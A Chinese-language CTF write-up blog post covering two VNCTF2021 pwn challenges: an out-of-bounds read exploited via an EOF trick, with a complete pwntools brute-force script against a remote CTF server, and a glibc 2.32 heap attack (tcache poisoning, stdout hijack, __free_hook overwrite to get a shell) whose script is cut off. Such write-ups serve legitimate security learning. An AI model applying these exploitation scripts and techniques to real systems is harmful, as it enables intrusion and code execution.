【CTF题解NO.00007】VNCTF2021 - pwn - write up by arttnba3
github blog addr there
VNCTF2021 - Pwn
太棒了,我逐渐理解一切.jpg
[VNCTF 2021]White_Give_Flag - read out of bounds
惯例的 checksec
,保护全开
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TNWJNScE-1617625416115)(https://i.loli.net/2021/04/01/nwjrFpHgQ1zJcEa.png)]
分析主函数逻辑可以发现仅提供了分配、释放、编辑堆块的功能,以及一个无用的打印随机数的功能,并不存在明显漏洞
在开头的初始化过程中会随机malloc数次并读入flag内容,其中最后一次并没有清空堆块,flag内容存在于 [0x300, 0x500]
大小的某个堆块中
在主函数中读入选项时有个 bug :返回值并非读入的数据通过atoi转成的数值,而是read() 的返回值,即读入的长度
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r0Bi3FWF-1617625416128)(https://i.loli.net/2021/04/01/ArZkfW4yzwxiDaH.png)]
而读入选项后会打印 qword_202120
数组中的字符串,我们不难想到的是:若是我们直接发送 EOF
,则 read() 会返回 0
,我们即可向前越界读,这里可以使用 pwntools 库中的 shutdown_raw()
函数完成
前面刚好是储存堆块的数组,刚好可以读到第四个堆块
那么我们只需要不断尝试分配到一个存在 flag 的堆块后打印即可
构造exp如下:
from pwn import *
global p
#context.log_level = 'debug'
def cmd(command:int):
p.recvuntil(b"choice:")
p.sendline(command * b'a')
def new(size:int):
cmd(0)
p.recvuntil(b"size:")
p.sendline(str(size).encode())
def free(index:int):
cmd(2)
p.recvuntil(b"index:")
p.sendline(str(index).encode())
def edit(index:int, content):
cmd(3)
p.recvuntil(b"index:")
p.sendline(str(index).encode())
p.recvuntil(b"Content:")
p.send(content)
def exp(hit):
for i in range(3):
new(0x10)
new(0x300 + hit * 0x10)
edit(3, 'arttnba3arttnba4')
p.recvuntil('choice:')
p.shutdown_raw('send')
s = p.recv()
log.info(s)
if b'{' in s or b'}' in s:
exit()
if __name__ == '__main__':
i = 0
count = 0
while True:
try:
print('try time: ' + str(count))
print('try: ' + str(i) + ' now')
p = remote("node4.buuoj.cn",39123)#process('./whitegive')
exp(i)
p.close()
i += 1
i %= 0x20
count += 1
except Exception as e:
log.failure('exception!')
p.close()
i += 1
i %= 0x20
count += 1
运行即可获得flag
(都要给非酋爆傻了)
[VNCTF 2021]ff - tcache poisoning + IO_FILE hijack
惯例的 checksec
,保护全开
拖入IDA进行分析
大致是有着分配、释放、打印、编辑堆块功能的程序,但是限制了只能编辑两次、打印一次,同时一次只能操作一个堆块
释放功能中没有清空,存在 UAF
但是libc 的版本为 2.32
,那么我们需要用掉唯一的一次打印的机会泄露堆基址才能通过 double free 进行任意地址写
而我们还需要想办法泄露 libc 基址,但是我们只能分配 0x80
的堆块,即使劫持了 tcache管理器 后所释放的堆块也只能够进入fastbin中(而且我们一次只能操作一个堆块
考虑到 tcache管理器 本身便是一个 0x291
的堆块,我们可以劫持之后改对应计数为7后free掉,送入 unsorted bin 中,之后切割这个大chunk,利用残留指针 大概1/16 的几率可以爆破到 stdout 附近,劫持 stdout 以泄露 libc 基址,最后改 __free_hook
为 system 函数后释放一个内容为 /bin/sh
的 chunk 即可 get shell
非酋的话可能要爆破很久…
故构造exp如下:
from pwn import*
#context.log_level = 'debug'
global p
libc = ELF('./libc.so.6')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#
def cmd(command:int):
p.recvuntil(b">>")
p.sendline(str(command).encode()